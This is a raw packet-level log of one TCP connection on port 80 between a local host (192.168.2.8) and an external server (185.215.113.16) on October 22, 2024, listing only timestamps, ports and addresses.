Oct 22, 2024 19:25:12.230773926 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230784893 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230789900 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.230791092 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.230796099 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230807066 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230811119 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.230818033 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230828047 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230837107 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.230840921 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230853081 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230854988 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.230864048 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230875015 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230887890 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230894089 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.230904102 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230914116 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.230916023 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230926037 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230937004 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230941057 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.230941057 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.230948925 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230961084 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230962038 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.230973005 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.230988026 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231013060 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231307983 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231328011 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231359005 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231378078 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231379986 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231390953 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231400013 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231410027 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231420994 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231431961 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231431961 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231436968 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231451988 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231472015 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231487989 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231589079 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231611013 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231623888 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231632948 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231640100 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231656075 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231662989 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231662989 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231667995 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231678963 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231688023 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231689930 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231703043 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231707096 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231707096 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231723070 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231735945 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231738091 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231738091 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231748104 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231759071 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231761932 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231770992 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231782913 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231784105 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231796026 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231801987 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231808901 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231821060 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231821060 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231832981 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231844902 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231854916 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231858015 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231858015 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231868982 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231882095 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231882095 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231894970 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231900930 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231906891 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231918097 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231920958 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231929064 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231940985 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231941938 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231950998 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231962919 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231962919 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231981039 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.231988907 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.231993914 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.232008934 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.232028961 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.232172966 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.232225895 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.232291937 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.232305050 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.232317924 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.232330084 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.232342958 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.232355118 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.232355118 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.232355118 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.232368946 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.232376099 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.232379913 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.232395887 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.232414007 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.232438087 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.259860992 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.259892941 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.259907007 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.259917021 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.259928942 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.259939909 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.259951115 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.259963036 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.259968996 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.259972095 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.259978056 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.260175943 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.260176897 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.303647995 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.303663969 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.303675890 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.303879976 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.340296984 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340311050 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340321064 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340334892 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340347052 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340358973 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340370893 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340382099 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340399027 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340423107 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340440989 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340454102 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340501070 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.340501070 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.340524912 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340533018 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.340537071 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340557098 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340569973 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340579987 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340591908 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340610027 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340627909 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.340647936 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340661049 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340672016 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340682983 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340683937 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.340758085 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.340759039 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340771914 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340783119 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340831041 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340837955 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.340842962 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340854883 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340866089 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340877056 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340883970 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.340943098 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.340969086 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340984106 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.340992928 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341003895 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341015100 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341025114 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341027021 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341038942 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341052055 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341089010 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341089010 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341197014 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341249943 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341289043 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341301918 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341311932 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341322899 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341346979 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341346979 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341346979 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341357946 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341367960 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341371059 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341382027 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341392994 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341394901 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341413975 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341433048 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341450930 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341465950 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341478109 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341489077 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341510057 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341517925 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341523886 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341533899 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341536045 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341546059 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341556072 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341557026 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341573954 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341614008 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341620922 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341630936 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341640949 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341661930 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341672897 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341675043 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341675043 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341681957 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341700077 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341702938 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341723919 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341747046 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.341762066 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341773987 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.341814041 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342098951 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342113018 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342122078 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342163086 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342163086 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342195034 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342231035 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342242002 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342243910 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342284918 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342284918 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342303038 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342315912 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342329025 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342340946 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342350960 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342397928 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342397928 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342397928 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342407942 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342421055 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342432022 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342443943 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342454910 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342459917 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342482090 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342500925 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342521906 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342533112 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342542887 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342560053 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342575073 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342586994 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342591047 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342591047 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342598915 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342622042 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342622995 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342622995 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342631102 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342643023 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342648029 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342653036 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.342683077 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342683077 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.342708111 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.344293118 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344357014 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.344379902 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344391108 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344400883 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344432116 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.344433069 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344444990 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344455004 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344456911 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.344466925 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344476938 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.344482899 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344496012 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.344535112 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.344547987 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344558954 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344568014 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344573021 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344599962 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.344628096 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.344630957 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344680071 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.344712019 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344722033 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344746113 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344758987 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344763041 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.344770908 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344783068 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344784021 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.344799995 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.344830036 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.344830036 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.344855070 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344866991 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344877958 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344890118 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344899893 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.344909906 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.344942093 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.344942093 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.345326900 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.345354080 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.345366001 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.345377922 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.345391035 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.345391035 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.345391035 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.345427990 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.345427990 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.345427990 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.345458031 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.345511913 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.345556021 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.345567942 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.345602036 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.345623016 CEST	80	49725	185.215.113.16	192.168.2.8
